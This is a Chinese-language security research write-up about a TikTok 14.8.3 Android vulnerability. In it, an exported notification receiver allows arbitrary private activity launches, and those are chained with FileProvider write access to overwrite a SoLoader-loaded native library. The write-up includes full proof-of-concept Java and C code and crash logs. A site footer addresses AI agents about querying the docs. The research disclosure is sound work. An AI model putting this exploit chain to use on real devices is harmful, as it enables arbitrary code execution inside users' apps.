> For the complete documentation index, see [llms.txt](https://wnagzihxa1n.gitbook.io/happy-android-security/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wnagzihxa1n.gitbook.io/happy-android-security/application_security/bytedancetiktokcomzhiliaoappmusically1483notificationbroadcastreceiver-dao-chu-cun-zai-ren-yi-si-you.md).

# \[ByteDance] \[TikTok] NotificationBroadcastReceiver导出存在任意私有组件启动结合FileProvider机制与FbSoLoader框架导致本地代码执行漏洞

|     日期     |  版本 |     描述     |      作者     |
| :--------: | :-: | :--------: | :---------: |
| 2021.05.01 | 1.0 | 完整的漏洞分析与利用 | wnagzihxa1n |

## 0x00 漏洞概述

## 0x01 触发条件

|    上线时间    |   应用名  |            包名            |  软件版本  |                                                           下载链接                                                           |
| :--------: | :----: | :----------------------: | :----: | :----------------------------------------------------------------------------------------------------------------------: |
| 2020.02.08 | TikTok | com.zhiliaoapp.musically | 14.8.3 | <https://www.apkmirror.com/apk/tiktok-pte-ltd/tik-tok-including-musical-ly/tik-tok-including-musical-ly-14-8-3-release/> |

## 0x02 PoC

## 0x03 前置知识

## 0x04 Root Cause

组件`com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver`导出

```xml
<receiver android:name="com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver">
    <intent-filter>
        <action android:name="notification_cancelled"/>
    </intent-filter>
</receiver>
```

当Action为`notification_clicked`的时候，会获取`contentIntentURI`传入`startActivity()`进行跳转，由于`contentIntentURI`外部可控，所以可以跳转调用任意私有不导出Activity组件

```java
public class NotificationBroadcastReceiver extends BroadcastReceiver {
    @Override  // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        if(context != null && intent != null) {
            String action = intent.getAction();
            int intent_type = intent.getIntExtra("type", -1);
            if(intent_type != -1) {
                ((NotificationManager)context.getSystemService("notification")).cancel(intent_type);
            }

            Intent intent_contentIntentURI = (Intent)intent.getParcelableExtra("contentIntentURI");
            if(("notification_clicked".equals(action)) && intent_contentIntentURI != null) {
                try {
                    intent_contentIntentURI.getDataString();
                    context.startActivity(intent_contentIntentURI);    // [1]
                }
                catch(Exception unused_ex) {
                }
            }

            if("notification_cancelled".equals(action)) {
                Map map = null;
                if(intent_contentIntentURI != null) {
                    map = (Map)intent_contentIntentURI.getSerializableExtra("log_data_extra_to_adsapp");
                }

                h.a("push_clear", map);
            }

            return;
        }
    }
}
```

## 0x05 漏洞调试与利用

高版本的安卓系统需要如下使用FileProvider，这里可以看到被设置为不导出

```xml
<provider 
    android:authorities="com.zhiliaoapp.musically.fileprovider" 
    android:exported="false" 
    android:grantUriPermissions="true" 
    android:name="android.support.v4.content.FileProvider">
    <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/c"/>
</provider>
```

对应的配置文件

```xml
<?xml version="1.0" encoding="UTF-8"?>
<paths xmlns:android="http://schemas.android.com/apk/res/android">
    <root-path name="name" path=""/>
    <external-path name="share_path0" path="share/"/>
    <external-path name="download_path2" path="Download/"/>
    <cache-path name="gif" path="gif/"/>
    <external-files-path name="share_path1" path="share/"/>
    <external-files-path name="install_path" path="update/"/>
    <external-files-path name="livewallpaper" path="livewallpaper/"/>
    <external-cache-path name="share_image_path0" path="picture/"/>
    <external-cache-path name="share_image_path2" path="head/"/>
    <external-cache-path name="share_image_path3" path="feedback/"/>
    <external-cache-path name="share_image_path4" path="tmpimages/"/>
    <cache-path name="share_image_path1" path="picture/"/>
    <cache-path name="share_image_path3" path="head/"/>
    <cache-path name="share_image_path4" path="tmpimages/"/>
    <cache-path name="share_sdk_path_0" path="share_content_cache/"/>
</paths>
```

先拥有一个任意私有Activity组件打开的能力，去结合FileProvider获取文件读写的能力，再去实现动态库加载

首先是给漏洞组件`com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver`发送广播

```java
public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        handleIntent(getIntent());
    }

    private void handleIntent(Intent i) {
        Intent intent = new Intent("notification_clicked");
        intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver");
        sendBroadcast(intent);
    }
}
```

回顾下漏洞代码段，会获取`contentIntentURI`字段，用于后续跳转

```java
Intent intent_contentIntentURI = (Intent)intent.getParcelableExtra("contentIntentURI");
if(("notification_clicked".equals(action)) && intent_contentIntentURI != null) {
    try {
        intent_contentIntentURI.getDataString();
        context.startActivity(intent_contentIntentURI);
    }
    catch(Exception unused_ex) {
    }
}
```

如下即可实现指定应用获取FileProvider的文件读写权限，从`NotificationBroadcastReceiver`跳到PoC的`MainActivity`的时候就获得了对FileProvider的文件读写权限，此处指定的文件是`/data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so`，同时指定了Action为`TIKTOK_ATTACK_NotificationBroadcastReceiver`，会去调用`else`分支，将我们的SO文件写入上面指定的路径

```java
public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        handleIntent(getIntent());
    }
    
    @Override
    protected void onNewIntent(Intent intent) {
        super.onNewIntent(intent);
        handleIntent(intent);
    }

    private void handleIntent(Intent i) {
        if(!"TIKTOK_ATTACK_NotificationBroadcastReceiver".equals(i.getAction())) {
            // NotificationBroadcastReceiver.onReceive()调用startActivity()使用的Intent，用于PoC获取FileProvider的文件读写权限
            Intent next = new Intent("TIKTOK_ATTACK_NotificationBroadcastReceiver");
            next.setClassName(getPackageName(), getClass().getCanonicalName());
            next.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
            next.setData(Uri.parse("content://com.zhiliaoapp.musically.fileprovider/name/data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so"));

            // 发往NotificationBroadcastReceiver的Intent
            Intent intent = new Intent("notification_clicked");
            intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver");
            intent.putExtra("contentIntentURI", next);
            sendBroadcast(intent);
        }
        else {
            try {
                OutputStream outputStream = getContentResolver().openOutputStream(i.getData());
                InputStream inputStream = getAssets().open("evil_lib.so");
                IOUtils.copy(inputStream, outputStream);
                inputStream.close();
                outputStream.close();
            }
            catch (Throwable th) {
                throw new RuntimeException(th);
            }
        }
    }
}
```

我们分析下为什么是文件`com.zhiliaoapp.musically/lib-main/libimagepipeline.so`，这得从Facebook开源的SoLoader说起，这个工具可以自动实现SO文件的加载，能够解决大量动态库的依赖问题，它有个特点是会把所有的动态库放到`/data/data/PackageName/lib-main`，然后应用启动的时候会去这个路径下加载动态库，但在测试过程中，这个路径下默认是没有库文件的

那我们既然拥有`/data/data/com.zhiliaoapp.musically`下文件的读写能力，就可以指定其中一个动态库去覆写，应用启动的时候就会加载我们覆写后的动态库，实现代码执行

我们使用如下的代码生成用于攻击的SO，提取其中64位的版本放到PoC的Assets文件夹下

```c
#include <jni.h>
#include <string>
#include <android/log.h>

#define LOG_TAG "######################################################"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR,LOG_TAG,__VA_ARGS__)

JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
    LOGE("Debug: [%s] \n", __FUNCTION__);
    
    JNIEnv* env;
    if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
        return JNI_ERR;
    }
    return JNI_VERSION_1_6;
}
```

**需要注意的是不同版本有不一样的行为，在某些版本并不能生成lib-main文件夹，可以替换成app\_librarian/14.8.3.6327148996**

攻击过程：先安装TikTok，点击启动运行，再运行PoC，覆写SO，再重启TikTok就会发现漏洞利用成功，这样也会造成问题，有的库函数没有实现会导致崩溃

```shell
04-29 15:01:09.720 14186 14500 E ######################################################: Debug: [JNI_OnLoad]
04-29 15:01:09.720 14186 14500 E zygote  : No implementation found for long com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeAllocate(int) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate__I)
04-29 15:01:09.721 14186 14500 E AndroidRuntime: FATAL EXCEPTION: FrescoIoBoundExecutor-2
04-29 15:01:09.721 14186 14500 E AndroidRuntime: Process: com.zhiliaoapp.musically, PID: 14186
04-29 15:01:09.721 14186 14500 E AndroidRuntime: java.lang.UnsatisfiedLinkError: No implementation found for long com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeAllocate(int) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate__I)
04-29 15:01:10.514 14186 14194 E zygote  : No implementation found for void com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeFree(long) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree__J)
04-29 15:01:10.514 14186 14194 E System  : java.lang.UnsatisfiedLinkError: No implementation found for void com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeFree(long) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree__J)
```

其实也简单，做中间商，手动调用原来的`libimagepipeline.so`库函数，并把结果返回

测试过程中也发现了一些其它问题，可能是版本不匹配，也可能是各种权限的错误

```shell
04-29 02:04:46.667 19563 19889 E AndroidRuntime: FATAL EXCEPTION: FrescoIoBoundExecutor-2
04-29 02:04:46.667 19563 19889 E AndroidRuntime: Process: com.zhiliaoapp.musically, PID: 19563
04-29 02:04:46.667 19563 19889 E AndroidRuntime: java.lang.UnsatisfiedLinkError: couldn't find DSO to load: libimagepipeline.so caused by: ELF file does not contain dynamic linking information
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.soloader.SoLoader.doLoadLibraryBySoName(SourceFile:703)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.soloader.SoLoader.loadLibraryBySoName(SourceFile:564)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.soloader.SoLoader.loadLibrary(SourceFile:500)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.soloader.SoLoader.loadLibrary(SourceFile:455)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.imageutils.FrescoSoLoader.loadLibrary(SourceFile:27)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.imagepipeline.nativecode.a.load(SourceFile:40)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.imagepipeline.memory.NativeMemoryChunk.<clinit>(SourceFile:31)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.imagepipeline.memory.y.h(SourceFile:25)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.imagepipeline.memory.y.a(SourceFile:13)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.imagepipeline.memory.a.get(SourceFile:267)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.imagepipeline.memory.x.<init>(SourceFile:51)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.imagepipeline.memory.x.<init>(SourceFile:33)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.imagepipeline.memory.w.newByteBuffer(SourceFile:48)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.imagepipeline.memory.w.newByteBuffer(SourceFile:24)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.imagepipeline.producers.aa.a(SourceFile:85)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.imagepipeline.producers.aa.b(SourceFile:99)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.imagepipeline.producers.ac.a(SourceFile:37)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.imagepipeline.producers.aa$1.c(SourceFile:52)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.imagepipeline.producers.aa$1.b(SourceFile:48)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.common.executors.f.run(SourceFile:43)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1162)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:636)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at com.facebook.imagepipeline.core.j$1.run(SourceFile:51)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: 	at java.lang.Thread.run(Thread.java:764)
```

## 0x06 漏洞研究

## 0x07 References

* <https://blog.oversecured.com/Oversecured-detects-dangerous-vulnerabilities-in-the-TikTok-Android-app/>

## 附录：调试过程记录


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wnagzihxa1n.gitbook.io/happy-android-security/application_security/bytedancetiktokcomzhiliaoappmusically1483notificationbroadcastreceiver-dao-chu-cun-zai-ren-yi-si-you.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
